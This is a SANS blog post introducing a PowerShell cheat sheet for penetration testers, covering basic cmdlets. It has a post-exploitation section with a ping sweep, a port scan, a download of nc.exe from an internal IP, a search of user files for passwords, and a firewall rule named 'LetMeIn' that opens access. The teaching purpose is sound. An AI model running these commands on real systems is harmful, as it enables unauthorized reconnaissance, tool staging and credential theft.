

SANS Penetration Testing

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SANS Pen Test Cheat Sheet: PowerShell

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by Ed Skoudis

PowerShell really is amazing, and comes in handy for all kinds of infosec tasks, from defense to analysis to offense. In my [SANS Security 560 course](#), we cover PowerShell as a post-exploitation language, with all kinds of nifty tips and tricks for using it. When I teach the class, though, I notice that many students are fairly new to PowerShell's awesomeness.

To help people build their PowerShell skills, Phil Smith and I created this PowerShell cheat sheet (with some great input from Tim Medin and Jeff McJunkin too), containing some of the essential items needed to use PowerShell effectively. In essence, this cheat sheet is what I wish I had when I started learning PowerShell. I hope you enjoy it, especially the 5 PowerShell Essentials section!

Download it by clicking this link: [PowerShellCheatSheet_v4](#)

5 PowerShell Essentials

Concept	What's it Do?	A Handy Alias
PS C:\> Get-Help [cmdlet] -examples	Shows help & examples	PS C:\> help [cmdlet] -examples
PS C:\> Get-Command	Shows a list of commands	PS C:\> gcm *[string]*
PS C:\> Get-Member	Shows properties & methods	PS C:\> [cmdlet] gm
PS C:\> ForEach-Object { \$_ }	Takes each item on the pipeline and handles it as \$_	PS C:\> [cmdlet] % { [cmdlet] \$_ }
PS C:\> Select-String	Searches for strings in files or output, like grep	PS C:\> sls -path [file] -pattern [string]

Useful Cmdlets (and aliases)
Get a directory listing (ls, dir, gci): PS C:\> Get-ChildItem
Copy a file (cp, copy, cpi): PS C:\> Copy-Item src.txt dst.txt
Move a file (mv, move, mi): PS C:\> Move-Item src.txt dst.txt
Find text within a file: PS C:\> Select-String -path c:\users *.txt -pattern password PS C:\> ls -r c:\users -file % {Select-String -path \$_ -pattern password}
Display file contents (cat, type, gc): PS C:\> Get-Content file.txt
Get present directory (pwd, gl): PS C:\> Get-Location
Get a process listing (ps, gps): PS C:\> Get-Process
Get a service listing: PS C:\> Get-Service
Formatting output of a command (Format-List): PS C:\> ls Format-List -property name
Paginating output: PS C:\> ls -r Out-Host -paging
Get the SHA1 hash of a file: PS C:\> Get-FileHash -Algorithm SHA1 file.txt
Exporting output to CSV: PS C:\> Get-Process Export-Csv procs.csv

PowerShell for Pen-Tester Post-Exploitation
Conduct a ping sweep: PS C:\> 1..255 % {echo "10.10.10.\$_"; ping -n 1 -w 100 10.10.10.\$_ Select-String ttl}
Conduct a port scan: PS C:\> 1..1024 % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",\$_)) "Port \$_ is open!"} 2>\$null
Fetch a file via HTTP (wget in PowerShell): PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe", "nc.exe")
Find all files with a particular name: PS C:\> Get-ChildItem "C:\Users\" -recurse -include *password*.txt
Get a listing of all installed Microsoft Hotfixes: PS C:\> Get-HotFix
Navigate the Windows registry: PS C:\> cd HKLM:\ PS HKLM:\> ls
List programs set to start automatically in the registry: PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
Convert string from ascii to Base64: PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PS FTW!"))
List and modify the Windows firewall rules: PS C:\> Get-NetFirewallRule -all PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress 10.10.10.25



Purpose
The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft's PowerShell.

PowerShell Overview
PowerShell Background <p>PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.</p>
Launching PowerShell <p>PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start -> typing powershell and pressing Shift-CTRL-Enter. Additionally, PowerShell cmdlets can be called from cmd.exe by typing: powershell -c "<command>".</p>

Have fun PowerShell'ing. 😊

-Ed.



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